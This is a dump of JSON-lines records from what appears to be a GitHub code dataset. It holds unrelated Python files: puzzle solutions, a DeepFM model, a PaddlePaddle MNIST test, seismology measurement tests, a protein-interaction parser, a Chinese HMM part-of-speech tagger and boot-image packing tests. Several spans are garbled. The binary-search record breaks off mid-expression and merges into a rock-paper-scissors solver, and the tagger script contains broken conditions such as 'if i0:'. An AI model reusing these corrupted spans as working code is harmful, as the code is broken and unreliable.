(line.rstrip(\"\\n\"))\r\n line_of_interest.append(new_line)\r\n\r\nmy_list = []\r\nfor element in line_of_interest:\r\n my_list.append(element.split())\r\n\r\n# Initializing \r\npath = \"/home\"\r\ndirs = {\"/home\": 0}\r\n\r\n#process every comand\r\nfor comand in my_list:\r\n \r\n #Comands that starts with $\r\n if comand[0] ==\"$\":\r\n \r\n #Do nothing when listing directorys or files\r\n if comand[1] == \"ls\":\r\n pass\r\n \r\n #Manage changing paths\r\n elif comand[1] == \"cd\":\r\n \r\n # Go back to root\r\n if comand[2] ==\"/\":\r\n path = \"/home\"\r\n \r\n #Go back in the path\r\n elif comand[2] == \"..\":\r\n #rfind will return the index of the last \"/\"\r\n #so it will take the path up to the last / wich will be 1 step back from the shown path\r\n path = path[:path.rfind(\"/\")]\r\n #Change path\r\n #elif comand[2] not in [\"/\",\"..\"]:\r\n else:\r\n dir_name = comand[2] #name of new directory\r\n path = path + \"/\" + dir_name #geting the path\r\n # .update will append to the dictionary\r\n dirs.update({path:0})\r\n \r\n # DO nothing if the line starts with \"dir\":\r\n elif(comand[0] == \"dir\"):\r\n pass\r\n # Get the file size and change directory in wich it was sized\r\n # elif(comand[0].isdigit()):\r\n else:\r\n \r\n size = int(comand[0]) #get the size of the file\r\n directory = path\r\n for i in range(path.count(\"/\")):\r\n # Dictionary dirs at the key of the path update size\r\n dirs[directory] += size \r\n # with every count of \"/\" wil be updated with the previous path\r\n directory = directory[:directory.rfind(\"/\")]\r\n \r\n# for direc in dirs:\r\n# print(direc, dirs[direc])\r\n\r\ntotal = 0\r\n\r\n# space required - space unused(total space - space used)\r\nlimit = 30000000 - (70000000-dirs[\"/home\"])\r\n\r\nvalid_dirs = []\r\nprint(limit)\r\n\r\nfor directory in dirs:\r\n \r\n # part 1\r\n if dirs[directory] < 100000:\r\n # print(dirs[directory])\r\n total += dirs[directory]\r\n \r\n # Part2\r\n if limit <= dirs[directory]:\r\n valid_dirs.append(dirs[directory])\r\n smallest = min(valid_dirs)\r\n \r\nprint(f\"Answer for part 2 will be: {smallest}\")\r\nprint(f\"Answer to part 1 is: {total}\")","repo_name":"bogdanhutuleac/Python","sub_path":"Advent/day7/day7.py","file_name":"day7.py","file_ext":"py","file_size_in_byte":2718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"12447311130","text":"def f(x,i):\n y=0\n z=False\n low=0\n high=len(x)-1\n while(low<(high-1)):\n mid=int((low+high)/2)\n if(x[high]==i):\n y=high\n z=True\n break\n if(x[low]==i):\n y=low\n z=True\n break\n if(x[mid]==i):\n y=mid\n z=True\n break\n elif(x[mid]>i):\n high=mid\n elif(x[mid] (maxs//2):\n dic.pop(k)\n\n# Final winner\ntop_player = dic[0][0]\n# Defeated by final winner\ndefe = defeated[top_player]\n\nprint(top_player)\n# Print defe list as string separating by space *\nprint(*defe)\n","repo_name":"joses90/codingame","sub_path":"easy/rock-paper-scissors-lizard-spock.py","file_name":"rock-paper-scissors-lizard-spock.py","file_ext":"py","file_size_in_byte":2402,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"40568888713","text":"import pdb\nimport numpy as np\nfrom time import time\nimport os\n\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\n\nfrom Network import *\n\nclass DeepFM(object):\n def save(self):\n print(\"Save model parameters.\")\n torch.save(self.net.state_dict(), self.mn)\n\n def load(self):\n if os.path.exists(self.mn):\n print(\"Load model parameters.\")\n self.net.load_state_dict(torch.load(self.mn))\n\n def __init__(self, feature_size):\n self.mn = \"model.pth\"\n self.embedding_size = 8\n self.net = Network(feature_size, self.embedding_size)\n self.learning_rate = 1e-3\n self.optimizer = torch.optim.Adam(self.net.parameters(), lr=self.learning_rate)\n self.loss_func = nn.BCELoss()\n self.feature_size = feature_size\n self.batch_size = 128\n self.epoch = 10\n self.load()\n\n def train(self, Xi, Xv, Y):\n self.net.train()\n for epoch in range(self.epoch):\n t1 = time()\n self.shuffle(Xi, Xv, Y)\n total_batch = int(len(Y) / self.batch_size)\n for i in range(total_batch):\n Xi_batch, Xv_batch, Y_batch = self.get_batch(Xi, Xv, Y, self.batch_size, i)\n Y_predict = self.predict(Xi_batch, Xv_batch)\n Y_batch = eminput(Y_batch).float()\n loss = self.loss_func(Y_predict, Y_batch )\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n\n print(\"Epoch\", epoch + 1, \"已完成。\"); self.save()\n return\n\n def test(self, Xi, Xv):\n self.net.eval()\n return self.predict(Xi, Xv)\n\n def predict(self, Xi, Xv):\n n = len(Xv)\n input = torch.zeros((n, self.feature_size) )\n for i in range(len(Xi) ):\n for j in range(len(Xi[i])):\n input[i, Xi[i][j]] = Xv[i][j]\n\n Y_predict = torch.zeros((n,1) )\n for i in range(n):\n Y_predict[i] = self.net(input[i])\n\n return Y_predict\n\n def get_batch(self, Xi, Xv, y, batch_size, index):\n start = index * batch_size\n end = (index + 1) * batch_size\n end = end if end < len(y) else len(y)\n return Xi[start:end], Xv[start:end], [[y_] for y_ in y[start:end]]\n\n def shuffle(self, a, b, c):\n rng_state = np.random.get_state()\n np.random.shuffle(a)\n np.random.set_state(rng_state)\n np.random.shuffle(b)\n np.random.set_state(rng_state)\n np.random.shuffle(c)","repo_name":"SukerZ/DeepFM-on-PyTorch","sub_path":"DeepFM.py","file_name":"DeepFM.py","file_ext":"py","file_size_in_byte":2546,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"29"} +{"seq_id":"40076328032","text":"# Say you have an array for which the ith element is the price of a given stock on day i.\n\n# Design an algorithm to find the maximum profit. You may complete at most k transactions.\n\n# Note:\n# You may not engage in multiple transactions at the same time (ie, you must sell the stock before you buy again).\n\n# [ 5, 2, 4, 6, 4 ]\n# buy at lowest price and sell at highest price.\n# profit should be always positive. \n\n#Brute force - there must be nCk ways - find \n\n# n < 2 k < 1 - base case\n# n = 2\n# [2, 4] p = 2 k = 2\n# [4, 2] p = 0\n# [1 2 3] - k = 2 I can buy 1 or I can buy 2 buy 1 makes sense so max profit\n# [2 3 3] - \n# [1 4 2] - \n# [4 2 6]\n\nclass Solution(object):\n def maxProfit(self, k, prices):\n \"\"\"\n :type k: int\n :type prices: List[int]\n :rtype: int\n \"\"\"\n \n n = len(prices)\n \n if n == 0 or k == 0:\n return 0\n \n if k > n/2:\n return self.m1(k, prices)\n \n local = [0]*(k+1)\n global1 = [0]*(k+1)\n res = 0\n for i in range(1, n):\n for j in range(1, k+1):\n local[j]=max(local[j]+prices[i]-prices[i-1],global1[j-1]);\n global1[j]=max(global1[j],local[j]);\n res=max(res,global1[j]);\n \n return res\n \n def m1(self, k, prices):\n res = 0\n for i in range(1, len(prices)):\n res += max(prices[i]-prices[i-1], 0)\n \n return res\n \n ","repo_name":"excrayg/coding-algos","sub_path":"excrayg/leetcode/python/best_time_to_buy_sell_stock_iv.py","file_name":"best_time_to_buy_sell_stock_iv.py","file_ext":"py","file_size_in_byte":1511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"36028709311","text":"import unittest\n\nimport numpy as np\nfrom test_imperative_base import new_program_scope\nfrom test_imperative_mnist import MNIST\n\nimport paddle\nfrom paddle import base\nfrom paddle.base import core\nfrom paddle.base.dygraph.base import to_variable\n\n\nclass TestImperativeMnistSortGradient(unittest.TestCase):\n def test_mnist_sort_gradient_float32(self):\n seed = 90\n epoch_num = 1\n\n with base.dygraph.guard():\n base.default_startup_program().random_seed = seed\n base.default_main_program().random_seed = seed\n base.set_flags({'FLAGS_sort_sum_gradient': True})\n\n mnist2 = MNIST()\n sgd2 = paddle.optimizer.SGD(\n learning_rate=1e-3, parameters=mnist2.parameters()\n )\n train_reader2 = paddle.batch(\n paddle.dataset.mnist.train(), batch_size=128, drop_last=True\n )\n\n mnist2.train()\n dy_param_init_value2 = {}\n for epoch in range(epoch_num):\n for batch_id, data in enumerate(train_reader2()):\n dy_x_data2 = np.array(\n [x[0].reshape(1, 28, 28) for x in data]\n ).astype('float32')\n y_data2 = (\n np.array([x[1] for x in data])\n .astype('int64')\n .reshape(128, 1)\n )\n\n img2 = to_variable(dy_x_data2)\n label2 = to_variable(y_data2)\n label2.stop_gradient = True\n\n cost2 = mnist2(img2)\n loss2 = paddle.nn.functional.cross_entropy(\n cost2, label2, reduction='none', use_softmax=False\n )\n avg_loss2 = paddle.mean(loss2)\n\n dy_out2 = avg_loss2.numpy()\n\n if epoch == 0 and batch_id == 0:\n for param in mnist2.parameters():\n dy_param_init_value2[param.name] = param.numpy()\n\n avg_loss2.backward()\n sgd2.minimize(avg_loss2)\n mnist2.clear_gradients()\n\n dy_param_value2 = {}\n for param in mnist2.parameters():\n dy_param_value2[param.name] = param.numpy()\n if batch_id == 20:\n break\n\n with new_program_scope():\n base.default_startup_program().random_seed = seed\n base.default_main_program().random_seed = seed\n\n exe = base.Executor(\n base.CPUPlace()\n if not core.is_compiled_with_cuda()\n else base.CUDAPlace(0)\n )\n\n mnist = MNIST()\n sgd = paddle.optimizer.SGD(learning_rate=1e-3)\n train_reader = paddle.batch(\n paddle.dataset.mnist.train(), batch_size=128, drop_last=True\n )\n\n img = paddle.static.data(\n name='pixel', shape=[-1, 1, 28, 28], dtype='float32'\n )\n label = paddle.static.data(\n name='label', shape=[-1, 1], dtype='int64'\n )\n cost = mnist(img)\n loss = paddle.nn.functional.cross_entropy(\n cost, label, reduction='none', use_softmax=False\n )\n avg_loss = paddle.mean(loss)\n sgd.minimize(avg_loss)\n\n # initialize params and fetch them\n static_param_init_value = {}\n static_param_name_list = []\n for param in mnist.parameters():\n static_param_name_list.append(param.name)\n\n out = exe.run(\n base.default_startup_program(),\n fetch_list=static_param_name_list,\n )\n\n for i in range(len(static_param_name_list)):\n static_param_init_value[static_param_name_list[i]] = out[i]\n\n for epoch in range(epoch_num):\n for batch_id, data in enumerate(train_reader()):\n static_x_data = np.array(\n [x[0].reshape(1, 28, 28) for x in data]\n ).astype('float32')\n y_data = (\n np.array([x[1] for x in data])\n .astype('int64')\n .reshape([128, 1])\n )\n\n fetch_list = [avg_loss.name]\n fetch_list.extend(static_param_name_list)\n out = exe.run(\n base.default_main_program(),\n feed={\"pixel\": static_x_data, \"label\": y_data},\n fetch_list=fetch_list,\n )\n\n static_param_value = {}\n static_out = out[0]\n for i in range(1, len(out)):\n static_param_value[static_param_name_list[i - 1]] = out[\n i\n ]\n if batch_id == 20:\n break\n\n np.testing.assert_allclose(\n dy_x_data2.all(), static_x_data.all(), rtol=1e-05\n )\n\n for key, value in static_param_init_value.items():\n np.testing.assert_allclose(\n value, dy_param_init_value2[key], rtol=1e-05\n )\n\n np.testing.assert_allclose(static_out, dy_out2, rtol=1e-05)\n\n for key, value in static_param_value.items():\n np.testing.assert_allclose(\n value, dy_param_value2[key], rtol=1e-05, atol=1e-05\n )\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"PaddlePaddle/Paddle","sub_path":"test/legacy_test/test_imperative_mnist_sorted_gradient.py","file_name":"test_imperative_mnist_sorted_gradient.py","file_ext":"py","file_size_in_byte":5656,"program_lang":"python","lang":"en","doc_type":"code","stars":21032,"dataset":"github-code","pt":"29"} +{"seq_id":"13542472163","text":"from __future__ import print_function, division\nimport inspect\nimport os\nimport numpy as np\nimport pytest\nfrom obspy import Trace\nimport pycmt3d.measure as meas\nimport numpy.testing as npt\n\n\n# Most generic way to get the data folder path.\nDATA_DIR = os.path.join(os.path.dirname(os.path.abspath(\n inspect.getfile(inspect.currentframe()))), \"data\")\nOBSD_DIR = os.path.join(DATA_DIR, \"data_T006_T030\")\nSYNT_DIR = os.path.join(DATA_DIR, \"syn_T006_T030\")\n\n\ndef test_xcorr_win_():\n arr1 = np.array([0., 0, 0, 1, 2, 1, 0, 0, 0, 0])\n arr2 = np.array([0., 0, 0, 0, 1, 2, 1, 0, 0, 0])\n cc, nshift = meas._xcorr_win_(arr1, arr2)\n assert cc == 1.0\n assert nshift == -1\n\n\ndef test_dlnA_win_():\n arr1 = np.array([0., 0, 0, 1, 2, 1, 0, 0, 0, 0])\n arr2 = np.array([0., 0, 0, 0, 1, 2, 1, 0, 0, 0])\n dlnA = meas._power_l2_win_(arr1, arr2)\n assert dlnA == 0.0\n\n arr1 = np.array([0., 0, 0, 1, 2, 1, 0, 0, 0, 0])\n arr2 = np.array([0., 0, 0, 0, 0.5, 1, 0.5, 0, 0, 0])\n dlnA = meas._power_l2_win_(arr1, arr2)\n assert dlnA == 10 * np.log10(4)\n\n\ndef test_cc_amp_():\n arr1 = np.array([0., 0, 0, 1, 2, 1, 0, 0, 0, 0])\n arr2 = np.array([0., 0, 0, 1, 2, 1, 0, 0, 0, 0])\n cc_amp = meas._cc_amp_(arr1, arr2)\n assert cc_amp == 0.0\n\n arr1 = np.array([0., 0, 0, 1, 2, 1, 0, 0, 0, 0])\n arr2 = np.array([0., 0, 0, 0.5, 1, 0.5, 0, 0, 0, 0])\n cc_amp = meas._cc_amp_(arr1, arr2)\n assert cc_amp == 10 * np.log10(2)\n\n\ndef test_correct_window_index():\n arr1 = np.array([0., 0, 0, 0, 1, 2, 1, 0, 0, 0])\n arr2 = np.array([0., 0, 0, 0.5, 1, 0.5, 0, 0, 0, 0])\n\n with pytest.raises(ValueError) as excinfo:\n meas.correct_window_index(arr1, arr2, 0, len(arr1))\n assert 'After correction' in excinfo\n\n istart_d, iend_d, istart_s, iend_s, max_cc, nshift = \\\n meas.correct_window_index(arr1, arr2, 2, 7)\n assert istart_d == 3 and iend_d == 8\n assert istart_s == 2 and iend_s == 7\n assert nshift == 1\n assert max_cc == 1.0\n\n\ndef test_measure_window():\n arr1 = np.array([0., 0, 0, 0, 0, 1, 2, 1, 0, 0, 0, 0, 0, 0])\n arr2 = np.array([0., 0, 0, 0, 0, 0, 0.5, 1, 0.5, 0, 0, 0, 0, 0])\n\n nshift, max_cc, power_l1, power_l2, cc_amp = \\\n meas.measure_window(arr1, arr2, 2, 10, station_correction=False)\n assert nshift == -1 and max_cc == 1.0\n assert power_l2 == 10 * np.log10(4)\n assert power_l1 == 10 * np.log10(2)\n assert cc_amp == 10 * np.log10(4/3)\n\n nshift, max_cc, power_l1, power_l2, cc_amp = \\\n meas.measure_window(arr1, arr2, 2, 10, station_correction=True)\n assert nshift == -1 and max_cc == 1.0\n assert power_l2 == 10 * np.log10(4)\n assert power_l1 == 10 * np.log10(2)\n assert cc_amp == 10 * np.log10(2)\n\n\ndef generate_datalist():\n datalist = {}\n datalist[\"obsd\"] = Trace(np.array([0., 0, 0, 0, 1, 0, 0, 0]))\n datalist[\"synt\"] = Trace(np.array([0., 0, 0, 1, 0, 0, 0, 0]))\n datalist[\"Mrr\"] = Trace(np.array([0., 0, 0, 1, 0, 0, 0, 0]))\n datalist[\"Mtt\"] = Trace(np.array([0., 0, 0, 2, 0, 0, 0, 0]))\n datalist[\"Mpp\"] = Trace(np.array([0., 0, 0, 3, 0, 0, 0, 0]))\n datalist[\"Mrt\"] = Trace(np.array([0., 0, 0, 4, 0, 0, 0, 0]))\n datalist[\"Mrp\"] = Trace(np.array([0., 0, 0, 5, 0, 0, 0, 0]))\n datalist[\"Mtp\"] = Trace(np.array([0., 0, 0, 6, 0, 0, 0, 0]))\n datalist[\"dep\"] = Trace(np.array([0., 0, 0, 1, 1, 0, 0, 0]))\n datalist[\"lon\"] = Trace(np.array([0., 0, 0, 1, 2, 0, 0, 0]))\n datalist[\"lat\"] = Trace(np.array([0., 0, 0, 1, 3, 0, 0, 0]))\n return datalist\n\n\ndef test_calculate_dsyn():\n parlist = ['Mrr', 'Mtt', 'Mpp', 'Mrt', 'Mrp', 'Mtp', 'dep', 'lon', 'lat']\n datalist = generate_datalist()\n win_idx = [1, 6]\n dcmt_par = np.ones(len(parlist))\n dsyn = meas.calculate_dsyn(datalist, win_idx, parlist, dcmt_par)\n for idx in range(6):\n _arr = np.zeros(5)\n _arr[2] = idx + 1\n npt.assert_allclose(dsyn[idx], _arr)\n\n for idx in range(6, 9):\n _arr = np.zeros(5)\n _arr[3] = idx - 5\n npt.assert_allclose(dsyn[idx], _arr)\n\n\ndef test_compute_A_b():\n parlist = ['Mrr', 'Mtt', 'Mpp', 'Mrt', 'Mrp', 'Mtp', 'dep', 'lon', 'lat']\n datalist = generate_datalist()\n win_time = [1, 6]\n dcmt_par = np.ones(len(parlist))\n\n A, b, Ae, be = meas.compute_derivatives(datalist, win_time, parlist,\n dcmt_par)\n\n A_true = np.zeros([9, 9])\n for ii in range(0, 6):\n for jj in range(0, 6):\n A_true[ii, jj] = (ii + 1) * (jj + 1)\n for ii in range(6, 9):\n for jj in range(6, 9):\n A_true[ii, jj] = (ii - 5) * (jj - 5)\n\n npt.assert_allclose(A, A_true)\n\n\ndef test_calculate_variance_on_trace():\n obsd = Trace(np.zeros(100))\n obsd.data[22:25] = [1, 2, 1]\n obsd.data[56:61] = [1, 3, 5, 3, 1]\n\n synt = Trace(np.zeros(100))\n synt.data[24:27] = [0.5, 1, 0.5]\n synt.data[52:57] = [1.5, 4.5, 7.5, 4.5, 1.5]\n\n win_time = [[20, 30], [50, 65]]\n\n measure = \\\n meas.calculate_variance_on_trace(obsd, synt, win_time)\n\n npt.assert_allclose(measure[\"v\"], [1.5, 11.25])\n npt.assert_allclose(measure[\"d\"], [6.0, 45])\n npt.assert_allclose(measure[\"tshift\"], [-2, 4])\n npt.assert_allclose(measure[\"cc\"], [1.0, 1.0])\n npt.assert_allclose(measure[\"power_l2\"],\n [20*np.log10(2), 20*np.log10(2/3.0)])\n npt.assert_allclose(measure[\"power_l1\"],\n [10*np.log10(2), 10*np.log10(2/3.0)])\n npt.assert_allclose(measure[\"cc_amp\"],\n [10*np.log10(2), 10*np.log10(2/3.0)])\n","repo_name":"YANGZHAO233/Ambient-Noise-Adjoint-Tomography","sub_path":"specfem3d/src/inverse_problem_for_source/pyCMT3D/src/pycmt3d/tests/test_measure.py","file_name":"test_measure.py","file_ext":"py","file_size_in_byte":5534,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"29"} +{"seq_id":"20530454475","text":"import csv\nfrom DB_schema import Interactor, Protein, Interaction, InteractionReference, InteractionSource\n\ndef parse(session):\n with open('Data/PAO1/xlinkdb.txt') as csvfile:\n reader = csv.DictReader(csvfile, delimiter='\\t')\n\n reference = InteractionReference(detection_method='chemical cross-linking mass spectrometry',\n interaction_type='physical association', author_ln='Navari',\n pub_date='2015', pmid='25800553', source_db='xlinkdb')\n source = InteractionSource(data_source='XLinkDB', is_experimental = 1)\n source.references.append(reference)\n session.add(source), session.add(reference), session.commit()\n\n for row in reader:\n\n interactor_A = session.query(Interactor).get(row['proA'])\n if interactor_A is None:\n interactor_A = session.query(Protein).filter_by(uniprotkb = row['proA']).first()\n if interactor_A is None: continue\n\n interactor_B = session.query(Interactor).get(row['proB'])\n if interactor_B is None:\n interactor_B = session.query(Protein).filter_by(uniprotkb = row['proB']).first()\n if interactor_B is None: continue\n\n homogenous = (interactor_A == interactor_B)\n interaction = session.query(Interaction).filter(Interaction.interactors.contains(interactor_A),\n Interaction.interactors.contains(interactor_B),\n Interaction.homogenous == homogenous).first()\n if interaction is None:\n interaction = Interaction(strain='PAO1', homogenous=homogenous, type='p-p',\n interactors=[interactor_A, interactor_B])\n interaction.references.append(reference)\n interaction.sources.append(source)\n session.add(interaction), session.commit()\n else:\n if reference not in interaction.references:\n interaction.references.append(reference)\n if source not in interaction.sources:\n interaction.sources.append(source)\n\n session.commit()\n print('xlinkdb', session.query(Interaction).count())","repo_name":"solodova/PaintDB","sub_path":"Parsers/PAO1/xlinkdb.py","file_name":"xlinkdb.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"22886079398","text":"#coding=utf-8\nimport re\nimport datetime\nstarttime=datetime.datetime.now()\nm=0# m代表词库dictionary中词的种类数\nn=0# n代表词性库tagging中词性的种类数\nrows=0# 代表语料库中总行数\ncorrect=0#词性匹配对的个数\ncurrent_correct=0#当前行匹配对的个数\ntotal=0#测试库所有词的个数\ndictionary={}\ntagging={}\nlibrary=[]#存词库中词的序列\ntest_library=[]#存测试库中词序列\nsentence_answer=[]#存每个测试句子的正确词性序列,以便计算正确率\ntest_words_num=0#表示测试库中总词数,为delta矩阵、phi矩阵的行数\n\nA=[]#状态转移矩阵,n*n\nB=[]#发射矩阵,n*m\nPi=[]#初始概率矩阵,1*n\nnum=[]# num[i]代表词性序号为i的词性在语料库中出现的次数,这是状态转移矩阵A、发射矩阵B每一项概率的分母\ndelta=[]#delta[k-1][n-1]表示读到测试库某句话第k个词时以序号n的词性结尾的所有路径中最大的概率\nphi=[]#phi[k-1][n-1]表示某句话使得以词性序号n结尾概率最大的倒数第二个词性序号\npath=[]#存储最优路径的编号\n\n#计算该语料库的总行数,以确定需要读入多少行作为词典\nf=open(\"123.txt\")\nflines=f.readlines()\nnumlines=len(flines)\nreadnumlines=numlines*0.8\nprint(\"该语料库一共%d行,需要读%d行\"%(numlines,readnumlines))\nf.close()\n\nprint(\"开始创建语料库...\")\n#遍历语料库文件,得到n、m、dictionary{}、tagging{}、library[[]]、line\nf=open(\"123.txt\")\nfor line in f:\n if rows>=readnumlines-1:\n break\n if len(line)!= 0:\n library.append([])\n line1=re.sub(\"[[]\",\"\",line)#去掉左中括号\n temp=line1.split(\"]\")#以右中括号为界分出几个不包含左右中括号的列表temp\n #print(temp)\n for words in temp:#对于temp中的每个字符串,以空格分割,这样剩下的没有左右中括号,而nt是残留的\n words1=words.split()\n for words2 in words1:#words2为分出来的不包含第一个数字串、不重复、不包含]后边nt的“词/词性”字符串们\n if ('199801' not in words2) and len(words2) != 1 and len(words2) != 2 and (words2 not in dictionary):\n #print(words2)\n words2_list=words2.split('/')#将words2分开,左边是词,右边是词性\n words3=re.sub(\"[A-Za-z0-9\\{\\}]\",\"\",words2_list[0])#去掉词中的拼音和大括号,赋值给words3\n words4=words3+'/'+words2_list[1]\n if words3 not in dictionary:\n dictionary[words3] = m\n m+=1\n if words2_list[1] not in tagging:\n tagging[words2_list[1]] = n\n n+=1\n library[rows].append(words4)\n rows+=1\nf.close()\n\n\nprint(\"开始创建测试库...\")\n#开始读入测试库\nrows2=0\nf=open(\"123.txt\")\ni=0\nfor line in f:\n if i0:\n x=phi[t][i]\n path.append(new_tagging[x])\n i=x\n t-=1\n path.reverse()\n\n current_correct=0\n for i in range(len(path)):\n if path[i]==sentence_answer[i]:\n current_correct+=1\n total+=1\n correct+=current_correct\n print(\"这是第%d行,共%d个词性,你计算对了%d个\"%(now,len(sentence_answer),current_correct))\n f2.write(\"这是第%d行,共%d个词性,你计算对了%d个\\n\"%(now,len(sentence_answer),current_correct))\n now+=1\n #path里存的是词性\n print(path)\n if (len(path) != 0):\n for word in path[:-1]:\n f2.write(word)\n f2.write(\"/\")\n f2.write(path[len(path) - 1])\n f2.write(\"\\n\")\n\n print(sentence_answer)\n if (len(sentence_answer) != 0):\n for word in sentence_answer[:-1]:\n f2.write(word)\n f2.write(\"/\")\n f2.write(sentence_answer[len(sentence_answer) - 1])\n f2.write(\"\\n\")\n\n print(\"\\n\")\n f2.write(\"\\n\")\n\n\ncorrect_rate=float(correct/total)\nprint(\"共%d个词性,你计算对了%d个,正确率为%f\"%(total,correct,correct_rate))\nf2.write(\"共%d个词性,你计算对了%d个,正确率为%f\\n\"%(total,correct,correct_rate))\nendtime=datetime.datetime.now()\nprint(\"程序运行时间为%s\"%(endtime-starttime))\nf2.write(\"程序运行时间为%s\\n\"%(endtime-starttime))\nf2.close()\nprint(\"Press any key to exit\")\nany=input()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n#if words3 not in dictionary:\n #dictionary[words3] = 1\n#if words2_list[1] not in tagging:\n #tagging[words2_list[1]] = 1","repo_name":"wklhtcone/NLP","sub_path":"Part of speech tagging/pos.py","file_name":"pos.py","file_ext":"py","file_size_in_byte":10348,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"33995954412","text":"import numpy as np\n\ndef ledoit_wolf_lin(X, d=False):\n \"\"\"\n A linear shrinkage of covariance matrix towards constant-correlation matrix:\n the target preserves the variances of the sample covariance matrix\n all the correlation coefficients of the target are the same \"\"\"\n \"\"\" \n :param X: type np.ndarray. (TxN) matrix, where T is the number of observations (days), N is the number of features\n :param d: type bool. False means no data demeaning took place\n :return: type np.ndarray. Shrunk covariance matrix\n \"\"\"\n T, N = X.shape \n \n if not d:\n X_mean = np.mean(X, axis=0) \n X = X - X_mean\n\n # sample covariance matrix\n cov_smp = X.T @ X / T\n \n # shrinkage target\n var_smp = np.diag(cov_smp).reshape(-1, 1)\n std_smp = np.sqrt(var_smp)\n corr_avg = ((cov_smp / (std_smp @ std_smp.T)).sum() - N)/(N * (N - 1))\n target = corr_avg * (std_smp @ std_smp.T)\n np.fill_diagonal(target, var_smp)\n \n # the parameter pi\n Y = X ** 2\n phi_ = (Y.T @ Y) / T - cov_smp ** 2\n phi = phi_.sum() \n\n # the parameter rho\n rho_diag = np.diag(phi_).sum()\n rho_off_diagonal = ((X ** 3).T @ X) / T - var_smp * cov_smp\n np.fill_diagonal(rho_off_diagonal, 0)\n rho = np.diag(phi_).sum() + corr_avg * (1 / std_smp @ std_smp.T * rho_off_diagonal).sum()\n\n # the parameter gamma\n gamma = np.linalg.norm(cov_smp - target, ord = 'fro') ** 2\n \n # shrinkage constant\n delta = max(0, min(1, (phi - rho) / gamma / T)) \n \n # compute shrinkage estimator\n cov_shrunk = delta * target + (1 - delta) * cov_smp\n \n return cov_shrunk","repo_name":"meawing/Applications_of_Random_Matrix_Theory","sub_path":"srinkage_linear.py","file_name":"srinkage_linear.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"29"} +{"seq_id":"17139037041","text":"#!/usr/bin/python\n\n__author__ = 'duanqz@gmail.com'\n\n\nimport os\nimport sys\n\nimport shutil\nimport unittest\ntry:\n import xml.etree.cElementTree as ET\nexcept ImportError:\n import xml.etree.ElementTree as ET\n\nfrom os import path\nsys.path.append(path.dirname(path.dirname(path.abspath(__file__))))\nfrom internal import bootimg\n\n\nclass TestUnpack(unittest.TestCase):\n\n def setUp(self):\n self.dir = path.dirname(path.abspath(__file__))\n\n def test_unpack_common(self):\n boot_img = path.join(self.dir, \"common-boot.img\")\n Utils.assert_type_equals(boot_img, \"QCOM\")\n\n def test_unpack_common_v1(self):\n boot_img = path.join(self.dir, \"common-v1-boot.img\")\n Utils.assert_type_equals(boot_img, \"QCOM\")\n\n def test_unpack_qcom(self):\n boot_img = path.join(self.dir, \"qcom-boot.img\")\n Utils.assert_type_equals(boot_img, \"QCOM\")\n\n def test_unpack_mtk(self):\n boot_img = path.join(self.dir, \"mtk-boot.img\")\n Utils.assert_type_equals(boot_img, \"MTK-V1\")\n\n def test_unpack_mtk_v1(self):\n boot_img = path.join(self.dir, \"mtk-v1-boot.img\")\n Utils.assert_type_equals(boot_img, \"MTK-V1\")\n\n def test_unpack_sony(self):\n boot_img = path.join(self.dir, \"sony-boot.img\")\n Utils.assert_type_equals(boot_img, \"SONY\")\n\n\nclass TestPack(unittest.TestCase):\n\n def setUp(self):\n self.dir = path.dirname(path.abspath(__file__))\n\n def test_pack_common(self):\n boot_dir = path.join(self.dir, \"common-boot\")\n Utils.asset_pack_succ(boot_dir)\n\n def test_pack_common_v1(self):\n boot_dir = path.join(self.dir, \"common-v1-boot\")\n Utils.asset_pack_succ(boot_dir)\n\n def test_pack_mtk(self):\n boot_dir = path.join(self.dir, \"mtk-boot\")\n Utils.asset_pack_succ(boot_dir)\n\n def test_pack_mtk_v1(self):\n boot_dir = path.join(self.dir, \"mtk-v1-boot\")\n Utils.asset_pack_succ(boot_dir)\n\n def test_pack_qcom(self):\n boot_dir = path.join(self.dir, \"qcom-boot\")\n Utils.asset_pack_succ(boot_dir)\n\n def test_pack_sony(self):\n boot_dir = path.join(self.dir, \"sony-boot\")\n Utils.asset_pack_succ(boot_dir)\n\n\nclass TestToolKit(unittest.TestCase):\n\n def test_existing(self):\n assert path.exists(bootimg.Toolkit.TOOLKIT_XML)\n\n def test_content_valid(self):\n all_tools = {}\n sequence = {}\n\n tree = ET.parse(bootimg.Toolkit.TOOLKIT_XML)\n for tool in tree.findall(\"tool\"):\n seq = tool.attrib[\"seq\"]\n boot_type = tool.attrib[\"type\"]\n description = tool.attrib[\"description\"]\n\n unpack_tool = tool.find(\"unpack\").text\n pack_tool = tool.find(\"pack\").text\n all_tools[boot_type] = { \"UNPACK\" : path.join(bootimg.Toolkit.TOOLS_ROOT, unpack_tool),\n \"PACK\" : path.join(bootimg.Toolkit.TOOLS_ROOT, pack_tool) }\n sequence[seq] = (boot_type, description)\n\n assert len(sequence) == 6\n\n assert \"MTK\" in all_tools\n assert \"MTK-V1\" in all_tools\n assert \"SONY\" in all_tools\n assert \"COMMON\" in all_tools\n assert \"COMMON-V1\" in all_tools\n assert \"QCOM\" in all_tools\n\n\nclass Utils:\n\n def __init__(self):\n pass\n\n @staticmethod\n def assert_type_equals(boot_img, boot_type):\n\n bootimg.unpack(boot_img, \"OUT/\")\n\n f = open(\"OUT/type.config\", \"r\")\n\n f_boot_type = f.read()\n\n f.close()\n shutil.rmtree(\"OUT/\")\n\n assert boot_type == f_boot_type\n\n @staticmethod\n def asset_pack_succ(boot_dir):\n bootimg.pack(boot_dir, 